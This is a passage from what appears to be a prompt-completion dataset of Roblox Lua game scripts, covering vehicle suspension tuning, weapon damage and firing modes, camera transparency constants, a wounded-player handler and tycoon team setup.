Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--// Damage Settings\t", "completion": "\n\tBaseDamage = 35; -- Torso Damage\n\tLimbDamage = 25; -- Arms and Legs\n\tArmorDamage = 20; -- How much damage is dealt against armor (Name the armor \"Armor\")\n\tHeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script\t\n\t"} +{"prompt": "--[[ Constants ]]", "completion": "--\nlocal ZERO_VECTOR3 = Vector3.new(0,0,0)\nlocal USE_STACKING_TRANSPARENCY = true\t-- Multiple items between the subject and camera get transparency values that add up to TARGET_TRANSPARENCY\nlocal TARGET_TRANSPARENCY = 0.75 -- Classic Invisicam's Value, also used by new invisicam for parts hit by head and torso rays\nlocal TARGET_TRANSPARENCY_PERIPHERAL = 0.5 -- Used by new SMART_CIRCLE mode for items not hit by head and torso rays\n\nlocal MODE = {\n\t--CUSTOM = 1, \t\t-- Retired, unused\n\tLIMBS = 2, \t\t\t-- Track limbs\n\tMOVEMENT = 3, \t\t-- Track movement\n\tCORNERS = 4, \t\t-- Char model corners\n\tCIRCLE1 = 5, \t\t-- Circle of casts around character\n\tCIRCLE2 = 6, \t\t-- Circle of casts around character, camera relative\n\tLIMBMOVE = 7, \t\t-- LIMBS mode + MOVEMENT mode\n\tSMART_CIRCLE = 8, \t-- More sample points on and around character\n\tCHAR_OUTLINE = 9,\t-- Dynamic outline around the character\n}\n\nlocal LIMB_TRACKING_SET = {\n\t-- Body parts common to R15 and R6\n\t['Head'] = true,\n\n\t-- Body parts unique to R6\n\t['Left Arm'] = true,\n\t['Right Arm'] = true,\n\t['Left Leg'] = true,\n\t['Right Leg'] = true,\n\n\t-- Body parts unique to R15\n\t['LeftLowerArm'] = true,\n\t['RightLowerArm'] = true,\n\t['LeftUpperLeg'] = true,\n\t['RightUpperLeg'] = true\n}\n\nlocal CORNER_FACTORS = {\n\tVector3.new(1,1,-1),\n\tVector3.new(1,-1,-1),\n\tVector3.new(-1,-1,-1),\n\tVector3.new(-1,1,-1)\n}\n\nlocal CIRCLE_CASTS = 10\nlocal MOVE_CASTS = 3\nlocal SMART_CIRCLE_CASTS = 24\nlocal SMART_CIRCLE_INCREMENT = 2.0 * math.pi / SMART_CIRCLE_CASTS\nlocal CHAR_OUTLINE_CASTS = 24\n"} +{"prompt": "--// Firemode Functions", "completion": "\nfunction CreateBullet(L_200_arg1)\n\tlocal L_201_ = L_59_.Position\n\tlocal L_202_ = (L_4_.Hit.p - L_201_).unit\n\tlocal L_203_ = CFrame.Angles(math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)))\n\tL_202_ = L_203_ * L_202_\t\n\tlocal L_204_ = CFrame.new(L_201_, L_201_ + L_202_)\t\n\t\t\n\tlocal L_205_ = Instance.new(\"Part\", L_101_)\n\tgame.Debris:AddItem(L_205_, 10)\n\tL_205_.Shape = Enum.PartType.Ball\n\tL_205_.Size = Vector3.new(1, 1, 12)\n\tL_205_.Name = \"Bullet\"\n\tL_205_.TopSurface = \"Smooth\"\n\tL_205_.BottomSurface = \"Smooth\"\n\tL_205_.BrickColor = BrickColor.new(\"Bright green\")\n\tL_205_.Material = \"Neon\"\n\tL_205_.CanCollide = false\n\t\t--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)\n\tL_205_.CFrame = L_204_\n\t\t\n\tlocal L_206_ = Instance.new(\"Sound\")\n\tL_206_.SoundId = \"rbxassetid://341519743\"\n\tL_206_.Looped = true\n\tL_206_:Play()\n\tL_206_.Parent = L_205_\n\tL_206_.Volume = 0.4\n\tL_206_.MaxDistance = 30\n\t\n\tL_205_.Transparency = 1\n\tlocal L_207_ = L_205_:GetMass()\n\tlocal L_208_ = Instance.new('BodyForce', L_205_)\n\t\t\n\tif not L_83_ then\n\t\tL_208_.Force = L_24_.BulletPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.BulletSpeed\n\telse\n\t\tL_208_.Force = L_24_.ExploPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.ExploSpeed\n\tend\n\t\t\n\tlocal L_209_ = Instance.new('Attachment', L_205_)\n\tL_209_.Position = Vector3.new(0.1, 0, 0)\n\tlocal L_210_ = Instance.new('Attachment', L_205_)\n\tL_210_.Position = Vector3.new(-0.1, 0, 0)\n\t\t\t\n\tlocal L_211_ = TracerCalculation()\n\t\t\n\tif L_24_.TracerEnabled == true and L_211_ then\n\t\tlocal L_212_ = Instance.new('Trail', L_205_)\n\t\tL_212_.Attachment0 = L_209_\n\t\tL_212_.Attachment1 = L_210_\n\t\tL_212_.Transparency = NumberSequence.new(L_24_.TracerTransparency)\n\t\tL_212_.LightEmission = L_24_.TracerLightEmission\n\t\tL_212_.TextureLength = L_24_.TracerTextureLength\n\t\tL_212_.Lifetime = L_24_.TracerLifetime\n\t\tL_212_.FaceCamera = L_24_.TracerFaceCamera\n\t\tL_212_.Color = ColorSequence.new(L_24_.TracerColor.Color)\n\tend\n\t\t\n\tif L_1_:FindFirstChild('Shell') and not L_83_ then\t\n\t\tCreateShell()\t\n\tend\t\n\t\t\n\tdelay(0.2, function()\n\t\tL_205_.Transparency = 0\n\tend)\n\t\n\treturn L_205_\nend\n\nfunction CheckForHumanoid(L_213_arg1)\n\tlocal L_214_ = false\n\tlocal L_215_ = nil\n\tif L_213_arg1 then\n\t\tif (L_213_arg1.Parent:FindFirstChild(\"Humanoid\") or L_213_arg1.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\tL_214_ = true\n\t\t\tif L_213_arg1.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Humanoid\n\t\t\telseif L_213_arg1.Parent.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Parent.Humanoid\n\t\t\tend\n\t\telse\n\t\t\tL_214_ = false\n\t\tend\t\n\tend\n\treturn L_214_, L_215_\nend\n\nfunction CastRay(L_216_arg1)\n\tlocal L_217_, L_218_, L_219_\n\tlocal L_220_ = L_56_.Position;\n\tlocal L_221_ = L_216_arg1.Position;\n\tlocal L_222_ = 0\n\n\tlocal L_223_ = L_83_\t\n\t\n\twhile true do\n\t\tL_106_:wait()\n\t\tL_221_ = L_216_arg1.Position;\n\t\tL_222_ = L_222_ + (L_221_ - L_220_).magnitude\n\t\tL_217_, L_218_, L_219_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_220_, (L_221_ - L_220_)), IgnoreList);\n\t\tlocal L_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\tlocal L_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\tif L_222_ > L_24_.BulletDecay then\n\t\t\tL_216_arg1:Destroy()\n\t\t\tbreak\n\t\tend\n\t\tif L_217_ and (L_217_ and L_217_.Transparency >= 1 or L_217_.CanCollide == false) and L_217_.Name ~= 'Right Arm' and L_217_.Name ~= 'Left Arm' and L_217_.Name ~= 'Right Leg' and L_217_.Name ~= 'Left Leg' and L_217_.Name ~= 'Armor' then\n\t\t\ttable.insert(IgnoreList, L_217_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tL_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\t\tL_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\t\n\t\t\tL_118_:FireServer(L_218_)\n\t\t\n\t\t\tlocal L_226_ = CheckForHumanoid(L_217_)\n\t\t\tif L_226_ == false then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_227_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Part\", L_217_)\n\t\t\telseif L_226_ == true then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_228_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Human\", L_217_)\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_223_ then\n\t\t\tL_116_:FireServer(L_218_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tlocal L_229_, L_230_ = CheckForHumanoid(L_217_)\n\t\t\tif L_229_ then\n\t\t\t\tL_111_:FireServer(L_230_)\n\t\t\t\tif L_24_.AntiTK then\n\t\t\t\t\tif game.Players:FindFirstChild(L_230_.Parent.Name) and game.Players:FindFirstChild(L_230_.Parent.Name).TeamColor ~= L_2_.TeamColor or L_230_.Parent:FindFirstChild('Vars') and game.Players:FindFirstChild(L_230_.Parent:WaitForChild('Vars'):WaitForChild('BotID').Value) and L_2_.TeamColor ~= L_230_.Parent:WaitForChild('Vars'):WaitForChild('teamColor').Value then\n\t\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_231_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_231_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_231_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_231_, L_231_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal L_232_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_232_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_232_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_232_, L_232_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_233_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_233_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_233_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_233_, L_233_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_234_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_234_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_234_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_234_, L_234_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal L_235_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_235_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_235_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_235_, L_235_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_236_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_236_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_236_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_236_, L_236_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_217_.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn L_217_, L_218_;\n\t\tend\n\t\tL_220_ = L_221_;\n\tend\nend\n\nfunction fireSemi()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_237_, L_238_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_239_ = JamCalculation()\n\t\tif L_239_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction fireExplo()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_60_:WaitForChild('Fire').SoundId, L_60_)\n\t\telse\n\t\t\tL_60_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_105_ = L_105_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_240_, L_241_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\t\n\t\tL_69_ = false\n\t\tShooting = false\n\tend\nend\n\nfunction fireShot()\n\twhile not Shooting and L_103_ > 0 and L_68_ and L_69_ and L_15_ do\n\t\tif L_15_ then\n\t\t\tL_69_ = false\n\t\t\tRecoiling = true\n\t\t\tShooting = true\n\t\t\tRecoilFront = true\n\t\t\t--CheckReverb()\n\t\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\t\telse\n\t\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\t\tend\n\t\t\tL_109_:FireServer()\n\t\t\tfor L_243_forvar1 = 1, L_24_.ShotNum do\n\t\t\t\tspawn(function()\n\t\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\t\tend)\n\t\t\t\tlocal L_244_, L_245_ = spawn(function()\n\t\t\t\t\tCastRay(L_102_)\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\t\t\t\t\t\t\n\t\tfor L_246_forvar1, L_247_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_247_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_247_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_248_forvar1, L_249_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_249_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_249_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = true\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_242_ = JamCalculation()\n\t\tif L_242_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBoltAction()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_250_, L_251_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\t\n\t\tfor L_253_forvar1, L_254_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_254_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_254_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_255_forvar1, L_256_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_256_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_256_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tL_76_ = true\n\t\tBoltBackAnim()\n\t\tBoltForwardAnim()\n\t\tIdleAnim()\n\t\tL_76_ = false\n\t\t\n\t\tlocal L_252_ = JamCalculation()\n\t\tif L_252_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\t\t\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireAuto()\n\twhile not Shooting and L_103_ > 0 and L_68_ and L_69_ and L_15_ do\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tlocal L_257_, L_258_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\t\t\t\n\t\tfor L_260_forvar1, L_261_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\tif L_261_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\tL_261_forvar2.Enabled = true\n\t\t\tend\n\t\tend\n\t\n\t\tdelay(1 / 30, function()\n\t\t\tfor L_262_forvar1, L_263_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\tif L_263_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\tL_263_forvar2.Enabled = false\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_259_ = JamCalculation()\n\t\tif L_259_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\t\n\t\tShooting = false\n\tend\nend\n\nfunction fireBurst()\n\tif not Shooting and L_103_ > 0 and L_68_ and L_15_ then\n\t\tfor L_264_forvar1 = 1, L_24_.BurstNum do\n\t\t\tif L_103_ > 0 and L_68_ then\n\t\t\t\tL_69_ = false\n\t\t\t\tRecoiling = true\n\t\t\t--CheckReverb()\n\t\t\t\tif L_54_ then\n\t\t\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\t\t\telse\n\t\t\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\t\t\tend\n\t\t\t\tL_109_:FireServer()\n\t\t\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\t\t\tlocal L_265_, L_266_ = spawn(function()\n\t\t\t\t\tCastRay(L_102_)\n\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\tfor L_268_forvar1, L_269_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\tif L_269_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\tL_269_forvar2.Enabled = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\n\t\t\t\tdelay(1 / 30, function()\n\t\t\t\t\tfor L_270_forvar1, L_271_forvar2 in pairs(L_59_:GetChildren()) do\n\t\t\t\t\t\tif L_271_forvar2.Name:sub(1, 7) == \"FlashFX\" then\n\t\t\t\t\t\t\tL_271_forvar2.Enabled = false\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\n\t\t\t\tif L_24_.CanBolt == true then\n\t\t\t\t\tBoltingBackAnim()\n\t\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\n\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\tUpdateAmmo()\n\t\t\t\tRecoilFront = true\n\t\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\t\tRecoiling = false\n\t\t\t\t\tRecoilFront = false\n\t\t\t\tend)\n\t\t\t\twait(L_24_.Firerate)\n\t\t\t\n\t\t\t\tlocal L_267_ = JamCalculation()\n\t\t\t\tif L_267_ then\n\t\t\t\t\tL_69_ = false\n\t\t\t\telse\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\n\t\t\tend\n\t\t\tShooting = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction Shoot()\n\tif L_15_ and L_69_ then\n\t\tif L_92_ == 1 then\n\t\t\tfireSemi()\n\t\telseif L_92_ == 2 then\n\t\t\tfireAuto()\n\t\telseif L_92_ == 3 then\n\t\t\tfireBurst()\t\n\t\telseif L_92_ == 4 then\n\t\t\tfireBoltAction()\n\t\telseif L_92_ == 5 then\n\t\t\tfireShot()\n\t\telseif L_92_ == 6 then\n\t\t\tfireExplo()\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Events", "completion": "\nlocal L_105_ = L_20_:WaitForChild('Equipped')\nlocal L_106_ = L_20_:WaitForChild('ShootEvent')\nlocal L_107_ = L_20_:WaitForChild('DamageEvent')\nlocal L_108_ = L_20_:WaitForChild('CreateOwner')\nlocal L_109_ = L_20_:WaitForChild('Stance')\nlocal L_110_ = L_20_:WaitForChild('HitEvent')\nlocal L_111_ = L_20_:WaitForChild('KillEvent')\nlocal L_112_ = L_20_:WaitForChild('AimEvent')\nlocal L_113_ = L_20_:WaitForChild('ExploEvent')\nlocal L_114_ = L_20_:WaitForChild('AttachEvent')\nlocal L_115_ = L_20_:WaitForChild('ServerFXEvent')\nlocal L_116_ = L_20_:WaitForChild('ChangeIDEvent')\n"} +{"prompt": "--- FUNCTIONS ---", "completion": "\n\nframe:WaitForChild(\"Paper\").MouseEnter:Connect(function()\n\tconnection = frame.Paper.MouseLeave:Connect(function()\n\t\tconnection:Disconnect()\n\t\ttween:Create(frame.Paper, TweenInfo.new(1), {Position = UDim2.new(0.5,0,2,0)}):Play()\n\t\ttween:Create(frame.Paper, TweenInfo.new(1), {BackgroundTransparency = 1}):Play()\n\t\ttween:Create(frame.Paper, TweenInfo.new(1), {ImageTransparency = 1}):Play()\n\t\t\n\t\ttask.wait(1)\n\t\tframe.Paper:ClearAllChildren()\n\tend)\nend)\n\n"} +{"prompt": "------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------\n------------------------------------------------------------------------------------------------", "completion": "\n\nCollapse.OnServerEvent:Connect(function(player)\n\n\tlocal Human = player.Character.Humanoid\n\tlocal Dor = Human.Parent.Saude.Variaveis.Dor\n\tlocal Sangue = Human.Parent.Saude.Variaveis.Sangue\n\tlocal IsWounded = Human.Parent.Saude.Stances.Caido\n\n\n\tif (Sangue.Value <= 3500) or (Dor.Value >= 200) or (IsWounded.Value == true) then -- Man this Guy's Really wounded,\n\t\tIsWounded.Value = true\n\t\tHuman.PlatformStand = true\n\t\tHuman.AutoRotate = false\t\n\telseif (Sangue.Value > 3500) and (Dor.Value < 200) and (IsWounded.Value == false) then -- YAY A MEDIC ARRIVED! =D\n\t\tHuman.PlatformStand = false\n\t\tIsWounded.Value = false\n\t\tHuman.AutoRotate = true\t\n\t\t\n\tend\nend)\n\nReset.OnServerEvent:Connect(function(player)\n\nlocal Human = player.Character.Humanoid\nlocal target = Human.Parent.Saude.Variaveis.PlayerSelecionado\n\ntarget.Value = \"N/A\"\nend)\n"} +{"prompt": "--run this first so if there is a 'white' team it is switched over", "completion": "\nif not Settings['AutoAssignTeams'] then\n\tlocal teamHire = Instance.new('Team', Teams)\n\tteamHire.TeamColor = BC.new('White')\n\tteamHire.Name = \"For Hire\"\nend\n\nfor i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do\n\tTycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names\n\tif returnColorTaken(v.TeamColor) then\n\t\t--//Handle duplicate team colors\n\t\tlocal newColor;\n\t\trepeat\n\t\t\twait()\n\t\t\tnewColor = BC.Random()\n\t\tuntil returnColorTaken(newColor) == false\n\t\tv.TeamColor.Value = newColor\n\tend\n\t--Now that there are for sure no duplicates, make your teams\n\tlocal NewTeam = Instance.new('Team',Teams)\n\tNewTeam.Name = v.Name\n\tNewTeam.TeamColor = v.TeamColor.Value\n\tif not Settings['AutoAssignTeams'] then\n\t\tNewTeam.AutoAssignable = false\n\tend\n\tv.PurchaseHandler.Disabled = false\nend\n\nfunction getPlrTycoon(player)\n\tfor i,v 